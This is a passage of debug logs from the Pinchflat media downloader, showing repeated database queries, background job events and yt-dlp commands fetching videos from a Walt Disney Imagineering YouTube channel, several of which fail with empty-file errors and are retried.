(NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12001] 19:02:32.989 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12001] 19:02:32.989 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:02:32.990 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:32.990 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:32.990 [debug] Running yt-dlp command for action: get_downloadable_status 19:02:32.991 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:32.991 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:32.991 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:32.991 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/73/b3/73b397bc0180a2a8f1184547bced8b7b056e513693781bd7d4b7ac8eff770bcf.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:02:38.153 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/73/b3/73b397bc0180a2a8f1184547bced8b7b056e513693781bd7d4b7ac8eff770bcf.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:02:38.153 [debug] Running yt-dlp command for action: download 19:02:38.154 [debug] QUERY OK source="settings" db=0.1ms idle=1633.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:38.154 [debug] QUERY OK source="settings" db=0.0ms idle=1633.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:38.154 [debug] QUERY OK source="settings" db=0.0ms idle=1633.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:38.154 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/c4/b4/c4b4204b2316cf4cf5e974caaee72771383d292ce5a3307257e9946a32bf6055.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:02:49.975 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:00.970 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:03:12.591 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/2b/73/2b73344944d1b866c38bce0c69fff308e08667d2e94fe1c1d6007870ee220444.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 19:03:12.591 [error] yt-dlp download error for media item #12518: "ERROR: The downloaded file is empty\n" 19:03:12.592 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12518},"id":1734,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":49745869,"event":"job:exception","queue_time":57751111,"attempt":4,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:03:12.599 [info] {"args":{"id":11511},"id":1736,"meta":{},"system_time":1774998192599252941,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:03:12.599 [debug] QUERY OK source="media_items" db=0.2ms idle=1078.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11511] 19:03:12.599 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:03:12.600 [debug] QUERY OK source="sources" db=0.1ms idle=557.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:03:12.600 [debug] QUERY OK source="media_profiles" db=0.2ms idle=79.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:03:12.601 [debug] QUERY OK source="media_items" db=0.2ms idle=8.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11511] 19:03:12.601 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11511] 19:03:12.601 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:03:12.602 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:12.602 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:12.602 [debug] Running yt-dlp command for action: get_downloadable_status 19:03:12.603 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:12.603 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:12.603 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:12.603 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/93/8c/938cace144f9aa19b53df83a189dacfbdc2e2c00f3398d75ab88d23e84243e9c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:03:16.598 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/93/8c/938cace144f9aa19b53df83a189dacfbdc2e2c00f3398d75ab88d23e84243e9c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:03:16.598 [debug] Running yt-dlp command for action: download 19:03:16.599 [debug] QUERY OK source="settings" db=0.1ms idle=551.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:16.599 [debug] QUERY OK source="settings" db=0.0ms idle=78.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:16.599 [debug] QUERY OK source="settings" db=0.1ms idle=78.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:16.599 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/18/3f/183f79f892794cd6763144d5841dcb5df111c3cd560cda725a5664ddfa332116.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:03:19.976 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:38.980 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/c4/b4/c4b4204b2316cf4cf5e974caaee72771383d292ce5a3307257e9946a32bf6055.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 19:03:38.980 [error] yt-dlp download error for media item #12001: "ERROR: The downloaded file is empty\n" 19:03:38.981 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12001},"id":1735,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":65993510,"event":"job:exception","queue_time":122464,"attempt":4,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:03:38.988 [info] {"args":{"id":13020},"id":1733,"meta":{},"system_time":1774998218988233007,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":5,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:03:38.988 [debug] QUERY OK source="media_items" db=0.1ms idle=467.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13020] 19:03:38.988 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:03:38.989 [debug] QUERY OK source="sources" db=0.1ms idle=468.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:03:38.989 [debug] QUERY OK source="media_profiles" db=0.1ms idle=468.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:03:38.989 [debug] QUERY OK source="media_items" db=0.2ms idle=8.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13020] 19:03:38.990 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13020] 19:03:38.990 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:03:38.991 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:38.991 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:38.991 [debug] Running yt-dlp command for action: get_downloadable_status 19:03:38.992 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:38.992 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:38.992 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:38.992 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/35/51/3551f16b3bd52ca73ff772d3a3e52a6f13b8d5d06fd741241ae772ce43283556.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:03:44.438 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/35/51/3551f16b3bd52ca73ff772d3a3e52a6f13b8d5d06fd741241ae772ce43283556.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:03:44.438 [debug] Running yt-dlp command for action: download 19:03:44.439 [debug] QUERY OK source="settings" db=0.2ms idle=1918.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:44.439 [debug] QUERY OK source="settings" db=0.1ms idle=1918.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:44.439 [debug] QUERY OK source="settings" db=0.1ms idle=1918.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:44.439 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/9b/09/9b090eb0e8186ff015dd46350c4f5139b973a540236553289755dc79a1ad7079.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:03:49.977 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:54.286 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) 